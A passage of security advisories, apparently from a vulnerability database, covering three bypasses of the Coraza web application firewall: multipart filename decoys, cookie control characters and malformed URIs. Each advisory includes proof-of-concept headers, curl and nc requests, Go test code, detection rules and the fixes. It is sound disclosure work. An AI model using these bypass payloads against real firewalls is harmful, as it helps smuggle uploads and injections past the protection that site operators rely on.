in the affected versions.\n\n## Details\n\n`internal/bodyprocessors/multipart.go`'s `originFileName` calls `mime.ParseMediaType` on the raw `Content-Disposition` header and reads `dispositionParams[\"filename\"]`, which then populates `FILES`/`FILES_SIZES` for parts recognized as file uploads. Per RFC 7578 §4.2 and RFC 6266, when both `filename` and `filename*` are present, `filename*` is authoritative. Go's `mime.ParseMediaType` implements this precedence internally (`decode2231Enc` in `mediatype.go`), but only for `filename*` values whose charset token is `us-ascii` or `utf-8`:\n\n```go\n// mime/mediatype.go\nif charset != \"us-ascii\" && charset != \"utf-8\" {\n    // TODO: unsupported encoding\n    return \"\", false\n}\n```\n\nWhen `decode2231Enc` returns `false`, the stdlib silently leaves whatever was parsed for the plain `filename` parameter untouched (or leaves `filename` absent entirely if only `filename*` was supplied) — there is no error, no partial-parse indicator, nothing a caller can detect. The stdlib also discards the RFC 5987 `language` component of `filename*` entirely; it is not recoverable from the parsed params map at all.\n\n### Verified behavior (prior to the fix)\n\n| `Content-Disposition` fields | Effective filename (`FILES`) | Recognized as file upload? |\n|---|---|---|\n| `filename=\"safe.jpg\"; filename*=UTF-8''shell.php` | `shell.php` (correct) | yes |\n| `filename=\"safe.jpg\"; filename*=iso-8859-1''shell.php` | `safe.jpg` (decoy wins) | yes, but with the wrong name |\n| `filename*=iso-8859-1''shell.php` (no plain `filename`) | *(none)* | **no** — processed as an ordinary form field into `ARGS_POST` instead |\n\nIn the second row, any rule inspecting `FILES` for a dangerous extension only ever sees `safe.jpg`, while a backend that follows RFC 7578 precedence and accepts `iso-8859-1` (an RFC-5987-legal, non-exotic charset) uses `shell.php` as the filename. In the third row, the upload skips file-specific rule scope and size-limit tracking (`FILES_COMBINED_SIZE`) entirely.\n\n## Impact\n\nA rule set that blocks file uploads by extension or name via `FILES` (or scopes rules to `FILES`/`FILES_NAMES`) can be bypassed by supplying the real filename via `filename*` under any charset other than `utf-8`/`us-ascii` — `iso-8859-1` is sufficient and is a standards-compliant choice, not an obscure or malformed one — optionally alongside an innocuous decoy `filename`. A part carrying only `filename*` additionally escapes file-vs-field routing, so `FILES`, `FILES_NAMES` and `FILES_COMBINED_SIZE` never see it.\n\nThe bypass is deterministic against Coraza and requires no authentication or user interaction. Its effect is bounded to filename-derived inspection: request body content, `ARGS` and headers are still inspected, and a part carrying only `filename*` is routed into `ARGS_POST`. Coraza itself neither stores nor serves the uploaded file, so whether an evaded rule was preventing a change of state depends on the backend's own `filename*` precedence handling and upload handling. This is scored as a scope-changing bypass with low integrity impact (`S:C`, `I:L`) rather than a direct compromise.\n\n## Proof of Concept\n\n```\nContent-Disposition: form-data; name=\"upload\"; filename=\"safe.jpg\"; filename*=iso-8859-1''shell.php\n```\n\nProcessed through `internal/bodyprocessors/multipart.go` prior to the fix, `FILES` for this part contained `safe.jpg`. A `SecRule FILES \"\\.php$\"` (or similar extension-blocklist rule) did not fire, while a backend honoring RFC 5987/7578 `filename*` precedence uses `shell.php` as the filename.\n\n## Resolution\n\nFixed by locating and decoding `filename*` independently of `mime.ParseMediaType`'s charset restriction (a quoted-string-aware scanner over the raw header). The fix also populates `MULTIPART_FILENAME`/`MULTIPART_NAME`, which were previously declared but unpopulated.\n\n**Both readings are exposed, not just `filename*`.** An earlier version of this fix made `filename*` unconditionally authoritative over the plain `filename`, per RFC 7578 §4.2 — this closed the PoC above but relocated the same bypass: swap which field carries the real name (`filename=\"shell.php\"; filename*=iso-8859-1''safe.jpg`) and a backend that resolves the plain `filename` instead is missed, since the discarded reading never reached `FILES` at all. Fixed in `89399e67`: when a well-formed `filename*` picks a different value than the plain `filename`, both are added to `FILES`/`FILES_SIZES`/`MULTIPART_FILENAME` for the same part (one temp file, one byte count, two names). A `SecRule FILES \"\\.php$\"` now catches the payload regardless of which field carries the real name.\n\nCoraza does not select a \"safe\" charset allowlist on the operator's behalf. Instead, `filename*`'s declared charset and language are exposed as their own rule-matchable collections, `MULTIPART_FILENAME_CHARSET` and `MULTIPART_FILENAME_LANGUAGE`, alongside `MULTIPART_FILENAME`, so operators can enforce their own allowlist. Design credit: **@airween**.\n\nFor `Content-Disposition: form-data; name=\"upload\"; filename=\"safe.jpg\"; filename*=UTF-8''shell.php`:\n\n```\nMULTIPART_FILENAME:upload          = [shell.php, safe.jpg]   (filename* first, plain filename kept alongside)\nMULTIPART_FILENAME_CHARSET:upload  = UTF-8\nMULTIPART_FILENAME_LANGUAGE:upload = \"\"           (empty string; language is optional)\n```\n\nRule writers can enforce a charset allowlist directly. Use an anchored regex\nrather than `@within`:\n\n```\nSecRule MULTIPART_FILENAME_CHARSET:upfile \"!@rx ^(?:utf-8|iso-8859-1|us-ascii)$\" \\\n    \"id:199,phase:2,t:none,t:lowercase,deny\"\n```\n\n`!@within utf-8,iso-8859-1,us-ascii` looks equivalent and is not. `@within`\ntreats its parameter as the haystack and the variable as the needle, so an\nempty value is trivially contained in it and the negation never fires. A\n`filename*` that declares no charset at all — `filename*=''shell.php`, which\nRFC 5987's grammar does not permit but which Coraza accepts and exposes rather\nthan rejecting — therefore passes an `@within` allowlist untouched. Measured:\n\n| `MULTIPART_FILENAME_CHARSET` | `!@within utf-8,...` | `!@rx ^(?:utf-8\\|...)$` |\n|---|---|---|\n| `UTF-8` | quiet | quiet |\n| `shift_jis` | fires | fires |\n| *(empty, from* `filename*=''...`*)* | **quiet** | fires |\n\nBoth spellings stay quiet on a part with no `filename*` at all, because the\ncollections are then absent rather than empty and the rule never evaluates.\nThat is what makes an allowlist rule safe to apply to all traffic rather than\nonly to known upload fields.\n\n### Discrepancies are no longer dropped silently\n\nThe same silent-fallback pattern this advisory describes existed on two neighbouring paths: a part whose `Content-Disposition` was present but unparseable, and a part carrying a `filename*` that did not match the `charset'[language]'value` shape at all. Both were reduced to a part with no filename — routed into `ARGS_POST`, outside `FILES`-scoped rule coverage, with nothing to signal that a filename had been discarded.\n\nBoth now raise `MULTIPART_STRICT_ERROR` (rule 200003 in CRS). A part with *no* `Content-Disposition` at all is not flagged: it simply carries no filename. `mime.ParseMediaType` accepts every real-world filename shape tested — raw UTF-8 and emoji, spaces, Windows backslashes, a bare `%`, unquoted values — so this signal does not reach legitimate uploads.\n\n### New variable: `MULTIPART_DUPLICATE_PART_HEADER`\n\nSet to `1` when a part repeats a header (two `Content-Disposition` headers) or repeats a parameter inside its `Content-Disposition` (two `filename` parameters). A duplicate is precisely where backends disagree about which value wins, so the duplicate itself is the signal; it also contributes to `MULTIPART_STRICT_ERROR`.\n\n```\nSecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"id:201,phase:2,deny,t:none,chain\"\n  SecRule MULTIPART_DUPLICATE_PART_HEADER \"@eq 1\"\n```\n\nModSecurity adds the same variable in its fix for [GHSA-5pww-8rfg-9crf](https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-5pww-8rfg-9crf) and lists it in the recommended audit-log format as `DH`. Coraza implements it under the same name so that a rule set referencing it parses on both engines.\n\n### Note on percent-decoding\n\nCoraza percent-decodes the `filename*` value, so `MULTIPART_FILENAME` and `FILES` hold the name the application will actually resolve. This matters for rules that match on file extension: CRS 933110 and 944140 target `FILES` with `t:none,t:lowercase,t:removeWhitespace` and perform no URL decoding, so an encoded separator such as `filename*=UTF-8''shell%2Ephp` would evade them if the raw value were stored instead. ModSecurity's fix stored the raw, still-encoded value when this was first written; after the difference was raised on its advisory it now percent-decodes as well, so the two engines agree on this point.\n\n### Three further discrepancies found in post-fix review\n\nReviewing the fix (`23446b5e`) against test coverage turned up three more cases where Coraza's parsed value could disagree with what a backend resolves, closed in `f30df398`:\n\n- An unresolvable `%` escape in `filename*` (`filename*=UTF-8''safe.jpg%ZZ`) is still kept as-is rather than substituting a decoy plain `filename`, but now also raises `MULTIPART_STRICT_ERROR`. Without this, the discrepancy was silent whenever a backend decoded the same escape differently or rejected it outright.\n- A quoted `filename*` value (`filename*=\"UTF-8''shell.php\"`) is unwrapped before parsing. RFC 5987 does not permit `filename*` to be a quoted-string, but a general Content-Disposition parser such as Go's `mime.ParseMediaType` accepts a quoted value for any parameter. Without unwrapping, the literal quote characters ended up in `MULTIPART_FILENAME`/`MULTIPART_FILENAME_CHARSET`, so an anchored rule (e.g. `\\.php$`) did not match a filename the backend resolved cleanly.\n- `MULTIPART_FILENAME`, `MULTIPART_FILENAME_CHARSET`, `MULTIPART_FILENAME_LANGUAGE` and `MULTIPART_NAME` are multi-valued collections: two parts sharing one `name` (e.g. a multi-file upload field) each keep their own filename instead of the later part overwriting the earlier one. ModSecurity's fix for [GHSA-5pww-8rfg-9crf](https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-5pww-8rfg-9crf) independently identifies and fixes the same class of bug, describing it as \"a second, distinct bypass,\" by keeping the equivalent variables multi-valued.\n\n### The precedence decision itself was found to relocate the bypass\n\nReviewing `filename*`-as-authoritative, @jptosso demonstrated (with a repro against Go's own `mime/multipart` as the reference backend) that this precedence choice doesn't close the two-sided decoy: it only decides which of the two payload shapes above is caught, not both. Checked against ModSecurity v3's actual fix for GHSA-5pww-8rfg-9crf: it makes the identical unconditional-precedence choice (single value, `filename*` wins, plain `filename` discarded), with no record of the two-sided case being considered there either — this is not a case of Coraza deviating from a more careful upstream fix.\n\nFixed in `89399e67` by keeping both readings rather than picking one (see Resolution above). Test coverage for the original PoC direction only ever exercised the `filename=\"safe.jpg\"; filename*=...''shell.php` order; the swapped order (`filename=\"shell.php\"; filename*=...''safe.jpg`) is now a dedicated regression case, since that gap in coverage is exactly why the one-sided version shipped in the first place.\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: an RFC 2231 numbered continuation (`filename*0=`, `filename*0*=`, ...) next to a bare `filename*` parameter now sets `MULTIPART_STRICT_ERROR`, and the Content-Disposition duplicate-parameter check added in 3.8.0 is now linear instead of quadratic in the number of parameters. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nAttack Complexity is High because the bypass depends on a specific backend behaviour outside the attacker's control. Go's `mime.ParseMediaType` and PHP resolve the same filename Coraza did, so they are not affected. The discrepancy exists only for backends that decode a non-UTF-8 `filename*` or treat a `filename*`-only part as a file, such as Werkzeug/Flask and busboy-based Node.js backends (Express with multer, Fastify). The continuation case fixed in 3.8.1 is resolved only by Werkzeug. The previous vector scored Attack Complexity Low (5.8).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 < 3.8.1"],"cwes":["CWE-20","CWE-436"],"tags":["osv","osv:ghsa-3wr7-993q-jrff","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-3wr7-993q-jrff","type":"advisory","title":"OSV GHSA-3wr7-993q-jrff"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-3wr7-993q-jrff","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/5427c501b2fea6ae1305903efef01b3049224a58","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/b2a9264437116bdd98a86fe345b2aec1152d3d7c","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:51:36.000Z","addedAt":"2026-10-08T18:42:42.119Z","updatedAt":"2026-10-08T18:42:42.119Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-3wr7-993q-jrff"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-3wr7-993q-jrff"}]},{"id":"95d39ecc-b87b-4045-ba56-1ba4a7b16d17","slug":"ghsa-g4qm-m288-5cp9","externalId":"GHSA-g4qm-m288-5cp9","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza has Cookie Parser Confusion","description":"## Summary\nCoraza's cookie parser (`internal/cookies.ParseCookies`) does not strip ASCII control characters (CTLs) from the edges of a cookie name/value before they're matched against `REQUEST_COOKIES` / `REQUEST_COOKIES_NAMES`. When a CTL sits directly next to the `=` separator, Coraza absorbs it into the adjacent name or value, while several backend cookie parsers trim it away — so the WAF and the application disagree about the cookie it just received.\n\n## Root cause\n- `ParseCookies` (`internal/cookies/cookies.go:17,26,31`) trims via `net/textproto.TrimString`, which strips only space (`0x20`) and tab (`0x09`).\n- RFC 6265 §4.1.1 defines cookie `name` as an HTTP `token` and `value` as `cookie-octet`, both excluding the full C0 control range (`0x00–0x1F`, `0x7F`) — not just space/tab.\n- Input `a\\v=\\t'` (vertical tab `\\v` next to `=`) keeps `\\v` in the name (`a\\v`), yielding name=`a\\v`, value=`\\t'`.\n\n## Confirmed divergence from real backends\n| Implementation | Name | Value |\n|---|---|---|\n| Coraza (< 3.8.0) | `a\\v` | `\\t'` |\n| Python `http.cookies`, and the Werkzeug/Flask version in the report below | `a` | `'` |\n| PHP `$_COOKIE` | `a` | `\\t'` |\n| Node.js `cookie` package | `a\\v` | `'` |\n\nRFC 6265 itself calls this exact cookie-pair invalid, so there's no single spec-correct reference — but Coraza's boundary handling diverges from 2 of these 3 widely-used backends.\n\nCorrection (2026-10-02): current Werkzeug (3.1.9, checked during review of the 3.8.1 follow-up) keeps `a\\v` as the name, like Node's `cookie` package. The name divergence therefore applies to PHP and to Python's `http.cookies`, not to every Werkzeug version.\n\n## Impact\nAn attacker can pad a `Cookie` header with a CTL adjacent to `=` so Coraza indexes a different name/value than the backend application does. A `SecRule` scoped to a specific cookie name or value can then miss the cookie the application actually processes — a WAF bypass for cookie-carried attacks.\n\n## Affected component\n`internal/cookies.ParseCookies`, consumed via `REQUEST_COOKIES` / `REQUEST_COOKIES_NAMES`.\n\n## Fix\nTrim the full CTL range (not just space/tab) from both ends of the extracted name and value, treating a boundary-adjacent CTL as a delimiter rather than token content — aligning with RFC 6265's `token`/`cookie-octet` grammar.\n\nThe fix does not attempt to resolve what happens when a CTL lands in the *interior* of an otherwise-plausible name (e.g. `ab\\vcd`). That case is disputed among the backends themselves — Python's `http.cookies` rejects the whole pair, PHP strips the CTL from the middle, Node's `cookie` package keeps it — so there is no consensus to converge on. It is left as a separate follow-up rather than guessed at here.\n\n### Implementation note\nThe trim is deliberately hand-rolled (a byte-wise scan on `b <= ' ' || b == 0x7f`, which covers octets `0x00–0x20` plus `0x7F`) rather than delegated to the standard library. This is a conscious choice on a security hot path and should not be \"simplified\" away later:\n\n- **`strings.TrimFunc` was measured and rejected.** It invokes its predicate through a func value once per byte scanned, which Go cannot devirtualize through `strings.indexFunc`. On an Apple M2, parsing a 64 KiB CTL-saturated `Cookie` header costs **167.6 µs** via `TrimFunc` versus **33.9 µs** byte-wise — a ~5× CPU amplification handed to an attacker, on input that is attacker-controlled and parsed on every request. Allocation counts are identical either way; the cost is purely the per-byte indirect call.\n- **`strings.TrimSpace` is not a substitute.** It misses most of the CTL range (`0x00–0x08`, `0x0E–0x1F`, `0x7F`) and additionally trims `U+0085` and `U+00A0`, whose multi-byte UTF-8 encodings a backend would not strip — reintroducing the very parser-disagreement class this advisory closes.\n\nThe byte-wise implementation was verified equivalent to a `TrimFunc`-based one across all 16,843,009 byte strings of length 0–3, including invalid UTF-8, with zero mismatches. `BenchmarkParseCookies/CTLFlood` guards the hot path against a future regression to a per-byte indirect call.\n\n## Proof of Concept (original report)\n\n> Hi, @fzipi, i hope you doing well, i'm RelunSec from InsiteTech.jp\n>\n> we discovered a parser confusion in cookie parser, i used a simple flask app that print the cookies\n>\n> ```py\n> from flask import Flask, request\n>\n> app = Flask(__name__)\n>\n> @app.route('/')\n> def index():\n>     # 1. Print all cookies as a dictionary to your terminal console\n>     print(\"All cookies:\", request.cookies)\n>\n>     return \"Cookies logged in terminal!\"\n>\n> if __name__ == '__main__':\n>     app.run(debug=True)\n> ```\n>\n> and a go setup\n>\n> ```go\n> package cookies\n>\n> import (\n> \t\"fmt\"\n> \t\"testing\"\n> )\n>\n> func TestParseCookie(t *testing.T) {\n> \tinputs := []string{\n> \"a\\v=\\t'\",\n> \t}\n>\n> \tfmt.Println(\"\\n==========================================\")\n> \tfmt.Println(\"     COOKIE PARSE DIRECT LOCAL RUN       \")\n> \tfmt.Println(\"==========================================\")\n>\n> \tfor _, input := range inputs {\n> \t\t// Calling the exact lowercase function name from the repo\n> \t\tcookies := ParseCookies(input)\n>\n> \t\tfmt.Printf(\"-> Input:   %q\\n\", input)\n> \t\tfmt.Printf(\"   Output:  %q\\n\", cookies)\n> \t\tfmt.Println(\"------------------------------------------\")\n> \t}\n> \tfmt.Println(\"==========================================\")\n> }\n> ```\n>\n> i runned the go program as you can see\n>\n> ```go\n> relunsec@relunsec:~/software/coraza/internal/cookies$ go test\n>\n> ==========================================\n>      COOKIE PARSE DIRECT LOCAL RUN\n> ==========================================\n> -> Input:   \"a\\v=\\t'\"\n>    Output:  map[\"a\\v\":[\"\\t'\"]]\n> ------------------------------------------\n> ==========================================\n> PASS\n> ok  \tgithub.com/corazawaf/coraza/v3/internal/cookies\t0.003s\n> ```\n>\n> and then i sended a curl request to the python flask web app\n>\n> ```bash\n> relunsec@relunsec:~/software/coraza/internal/cookies$ curl 127.0.0.1:5000 -H $'Cookie: a\\v=\\t'\n> Cookies logged in terminal!\n> ```\n>\n> and then i saw in the running flask app terminal\n>\n> ```python\n> All cookies: ImmutableMultiDict([('a', \"'\")])\n> ```\n>\n> as you can see python see that as the a cookie and the value of it is `'`, while coraza see it in a different name and a value\n>\n> an attacker can craft a crafted payload that evade cookie inspection and then perfom their attack\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: trimming control characters in 3.8.0 turned a cookie whose name is only control characters (`\\x01=payload`) into a cookie with an empty name, and empty names have always been skipped, so its value was no longer inspected. Node's `cookie` package (`{\"\\x01\": \"payload\"}`, `{\"\": \"payload\"}`) and Werkzeug still pass such pairs to the application. 3.8.1 keeps them in `REQUEST_COOKIES` under the name `\"\"`. This is an intentional deviation from ModSecurity v2 and v3, which skip empty names. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nUnchanged vector; precondition stated per the project's triage guidance. Attack Complexity is High because the bypass depends on a specific backend cookie parser: the original trim discrepancy affects backends that split `a\\v` as `a` (PHP's `$_COOKIE`, Python's `http.cookies`) and only rules keyed on a cookie name, and the 3.8.0 regression affects backends that pass empty or control-character-only cookie names to the application (Node's `cookie` package, Werkzeug for `\\x01`).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 < 3.8.1"],"cwes":["CWE-436"],"tags":["osv","osv:ghsa-g4qm-m288-5cp9","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-g4qm-m288-5cp9","type":"advisory","title":"OSV GHSA-g4qm-m288-5cp9"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-g4qm-m288-5cp9","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/0b940e197ad9983fb3aa36e84f1f81ff985461af","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/9f8521398d1ff023b958fad0b944cac265763866","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:51:30.000Z","addedAt":"2026-10-08T18:42:42.001Z","updatedAt":"2026-10-08T18:42:42.001Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-g4qm-m288-5cp9"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-g4qm-m288-5cp9"}]},{"id":"0f960b54-b98c-4ebd-a526-88e7ce2bd10f","slug":"ghsa-x26q-wvhg-fh4m","externalId":"GHSA-x26q-wvhg-fh4m","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: ProcessURI silently drops QUERY_STRING and ARGS_GET on URI parse failure — defense-in-depth bypass for non-net/http integrations","description":"## Root Cause\n\nFile: `internal/corazawaf/transaction.go`, lines 834–866.\n\n```go\nparsedURL, err := url.ParseRequestURI(uri)\nquery := \"\"\nif err != nil {\n    tx.variables.urlencodedError.Set(err.Error())\n    path = uri\n    tx.variables.requestURI.Set(uri)\n    /*\n        tx.Variables.VARIABLE_URI_PARSE_ERROR.Set(\"1\")\n        posRawQuery := strings.Index(uri, \"?\")\n        if posRawQuery != -1 {\n            tx.ExtractArguments(\"GET\", uri[posRawQuery+1:])\n            path = uri[:posRawQuery]\n            query = uri[posRawQuery+1:]\n        } else {\n            path = uri\n        }\n        tx.Variables.RequestUri.Set(uri)\n    */\n} else {\n    tx.ExtractGetArguments(parsedURL.RawQuery)   // only path that populates ARGS_GET\n    tx.variables.requestURI.Set(parsedURL.String())\n    path = parsedURL.Path\n    query = parsedURL.RawQuery\n}\n...\ntx.variables.queryString.Set(query)\n```\n\nWhen `url.ParseRequestURI(uri)` returns an error — which Go's stdlib does for any URI containing raw control bytes (`\\x00`, `\\n`, `\\r`, `\\t`, other `0x00–0x1F`, `0x7F`) — the error branch silently produces an empty `QUERY_STRING` and an empty `ARGS_GET` collection. The fallback logic that should split on `?` and populate the GET arguments from the raw tail is already present in the source as a commented-out block, referencing a `VARIABLE_URI_PARSE_ERROR` variable that was never wired up.\n\nConsequences on the error branch:\n\n- `ARGS_GET` / `ARGS_GET_NAMES` / `ARGS` (union) are **empty** — `ExtractGetArguments` is never called.\n- `QUERY_STRING` is **empty** (initial `query := \"\"` at line 835 persists through to `queryString.Set(query)` at line 866).\n- `REQUEST_FILENAME` / `REQUEST_BASENAME` contain the entire URI including any `?…` query suffix (because `path = uri` at line 838 bypasses the parse, and the subsequent `strings.LastIndexAny(path, \"/\\\\\")` runs over the raw URI).\n- `URLENCODED_ERROR` is set to the Go error message. That variable is *also* set by the urlencoded body processor on body-decode failures, so an operator cannot distinguish \"malformed URI\" from \"malformed request body\" without string-matching the error text.\n- `REQUEST_URI_RAW` (set unconditionally at line 822, before the parse) **is** populated correctly.\n\nAny rule targeting `ARGS_GET`, `ARGS`, `ARGS_NAMES`, `ARGS_GET_NAMES`, or `QUERY_STRING` — which is the default target set for the vast majority of OWASP CRS GET-side signature rules — does not fire against attacker content that reaches Coraza via a URI Go's `net/url` rejects.\n\n## Reachability\n\nThis issue **does not affect the standard `coraza/v3/http` + `net/http` integration**. Go's `http.ReadRequest` calls `url.ParseRequestURI` first and rejects malformed URIs with `400 Bad Request` before `ProcessURI` is invoked. Verified experimentally against a Coraza-wrapped `net/http` server — a raw request with a control-byte-laced URI produced `HTTP 400`, and the handler was never reached.\n\nThe bug is reachable when an integration forwards raw URI bytes to `tx.ProcessURI` directly, bypassing Go's HTTP parser:\n\n- **`coraza-spoa`** — HAProxy SPOP agent. Receives URI from HAProxy, which permits bytes `net/http` rejects.\n- **`coraza-proxy-wasm`** — Envoy WASM filter. Passes the `:path` pseudo-header from Envoy.\n- Custom FFI/WASM hosts and any embedder calling `tx.ProcessURI(rawURI, method, httpVersion)` with bytes not pre-validated by Go's URL parser.\n\nThis gates the attack to Attack Complexity:High — a standard Go HTTP deployment is not exposed.\n\n## Proof of Concept\n\nDirect-API reproduction (simulating the non-net/http integration path):\n\n```go\nwaf, _ := coraza.NewWAF(coraza.NewWAFConfig().WithDirectives(`\nSecRuleEngine On\nSecRule ARGS_GET     \"@contains ATTACK_HERE_XYZ\" \"id:9001,phase:1,deny,status:403\"\nSecRule QUERY_STRING \"@contains ATTACK_HERE_XYZ\" \"id:9002,phase:1,deny,status:403\"\n`))\n\nfor _, uri := range []string{\n    \"/search?q=ATTACK_HERE_XYZ\",                    // baseline\n    \"/search?q=ATTACK_HERE_XYZ\\x00&y=1\",            // NUL byte\n    \"/search?q=ATTACK_HERE_XYZ\\ninjected: header\",  // bare LF\n    \"/search?q=ATTACK_HERE_XYZ\\rhdr: x\",            // bare CR\n    \"/search?q=ATTACK_HERE_XYZ\\tx=1\",               // tab\n} {\n    tx := waf.NewTransaction()\n    tx.ProcessURI(uri, \"GET\", \"HTTP/1.1\")\n    it := tx.ProcessRequestHeaders()\n    // inspect tx.Variables().QueryString().Get() and tx.Variables().ArgsGet().FindAll()\n    tx.Close()\n}\n```\n\nObserved:\n\n| URI | `QUERY_STRING` | `ARGS_GET` | interrupted? |\n|---|---|---|---|\n| `/search?q=ATTACK_HERE_XYZ` | `q=ATTACK_HERE_XYZ` | 1 entry | **yes (403)** |\n| `/search?q=ATTACK_HERE_XYZ\\x00&y=1` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\ninjected: header` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\rhdr: x` | `\"\"` | 0 entries | **no — BYPASS** |\n| `/search?q=ATTACK_HERE_XYZ\\tx=1` | `\"\"` | 0 entries | **no — BYPASS** |\n\n`REQUEST_URI_RAW` is populated correctly in every case (line 822 sets it before the parse), so a rule written against `REQUEST_URI_RAW` still catches the attack. CRS and most operator-written rules target `ARGS_GET` / `ARGS` / `QUERY_STRING` — those do not fire.\n\nHTTP-layer reachability check (stock `net/http`):\n\n```\n$ printf 'GET /?q=ATTACK_HERE_XYZ\\x00&y=1 HTTP/1.1\\r\\nHost: x\\r\\n\\r\\n' | nc 127.0.0.1 8092\nHTTP/1.1 400 Bad Request\n```\n\nConfirms the exposure is limited to non-net/http integrations.\n\n## Mitigation\n\nRecommended fixes, in order:\n\n### 1. Re-enable the existing fallback and wire up `URI_PARSE_ERROR`\n\nThe code to fix this is already present as a commented-out block at `transaction.go:840–851`. Re-enable it, promote the referenced `VARIABLE_URI_PARSE_ERROR` to a real transaction variable, and populate `ARGS_GET` / `QUERY_STRING` from the raw `?…` tail:\n\n```go\nif err != nil {\n    tx.variables.urlencodedError.Set(err.Error())\n    tx.variables.uriParseError.Set(\"1\")               // new variable\n    tx.variables.requestURI.Set(uri)\n    if i := strings.Index(uri, \"?\"); i != -1 {\n        path = uri[:i]\n        query = uri[i+1:]\n        tx.ExtractGetArguments(query)                  // populate ARGS_GET\n    } else {\n        path = uri\n    }\n} else {\n    ...\n}\n```\n\n### 2. Ship a companion rule in `coraza.conf-recommended`\n\n```conf\nSecRule URI_PARSE_ERROR \"@eq 1\" \\\n    \"id:'200010',phase:1,t:none,log,deny,status:400,msg:'URI failed to parse'\"\n```\n\nThis gives operators a fail-closed default (analogous to rule 200003 for multipart strict error and rule 200002 for body-parse error), so non-net/http integrations at least stop the request regardless of downstream rule coverage.\n\n### 3. Do not overload `URLENCODED_ERROR`\n\nThe current code uses `URLENCODED_ERROR` for URI parse failures. That variable is also set by the urlencoded body processor on body-decode errors; operators cannot distinguish the two causes without string-matching the error text, and any rule they add will fire on both classes of failure. A dedicated `URI_PARSE_ERROR` variable (per the commented-out TODO) is the right shape.\n\n## Affected versions\n\nAll releases on the v3 branch (`>= 3.0.0, <= 3.7.0`); the silent-drop behavior has been present since the first v3 release. Only deployments using non-net/http integrations (coraza-spoa, coraza-proxy-wasm, custom FFI) are exposed in practice.\n\n## References\n\n- `internal/corazawaf/transaction.go` lines 834–866 (ProcessURI error branch)\n- `internal/corazawaf/transaction.go` line 822 (`REQUEST_URI_RAW` is populated before the parse, which is why `REQUEST_URI_RAW`-targeted rules still catch the attack)\n- Commented-out fallback at lines 840–851 referencing `VARIABLE_URI_PARSE_ERROR`\n- CWE-20 — Improper Input Validation\n- 